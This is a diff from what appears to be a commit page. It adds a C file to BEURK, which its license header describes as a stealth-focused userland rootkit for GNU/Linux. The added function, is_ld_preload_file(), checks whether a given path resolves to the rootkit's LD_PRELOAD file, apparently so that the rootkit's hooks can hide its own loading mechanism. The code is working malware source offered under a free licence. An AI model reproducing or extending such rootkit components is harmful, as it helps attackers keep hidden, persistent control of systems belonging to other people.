|
| 1 | +/* |
| 2 | + * BEURK is an userland rootkit for GNU/Linux, focused around stealth. |
| 3 | + * Copyright (C) 2015 unix-thrust |
| 4 | + * |
| 5 | + * This file is part of BEURK. |
| 6 | + * |
| 7 | + * BEURK is free software: you can redistribute it and/or modify |
| 8 | + * it under the terms of the GNU General Public License as published by |
| 9 | + * the Free Software Foundation, either version 3 of the License, or |
| 10 | + * (at your option) any later version. |
| 11 | + * |
| 12 | + * BEURK is distributed in the hope that it will be useful, |
| 13 | + * but WITHOUT ANY WARRANTY; without even the implied warranty of |
| 14 | + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
| 15 | + * GNU General Public License for more details. |
| 16 | + * |
| 17 | + * You should have received a copy of the GNU General Public License |
| 18 | + * along with BEURK. If not, see <http://www.gnu.org/licenses/>. |
| 19 | + */ |
| 20 | + |
| 21 | +#include <limits.h> /* PATH_MAX */ |
| 22 | +#include <stdlib.h> /* realpath(), free()*/ |
| 23 | +#include <string.h> /* strcmp() */ |
| 24 | +#include "beurk.h" /* prototype */ |
| 25 | +#include "config.h" /* FILE, MAX_LEN, MAGIC_STRING, LIBRARY_NAME, ... */ |
| 26 | +#include "debug.h" /* DEBUG() */ |
| 27 | + |
| 28 | + |
| 29 | +int is_ld_preload_file(const char *file) { |
| 30 | + init(); |
| 31 | + DEBUG(D_INFO, "called is_ld_preload_file()"); |
| 32 | + |
| 33 | + char *path; |
| 34 | + int ret; |
| 35 | + |
| 36 | + path = realpath(file, NULL); |
| 37 | + if (path == NULL) |
| 38 | + return 0; |
| 39 | + ret = !strcmp(path, LD_PRELOAD); |
| 40 | + free(path); |
| 41 | + return ret; |
| 42 | +} |
0 commit comments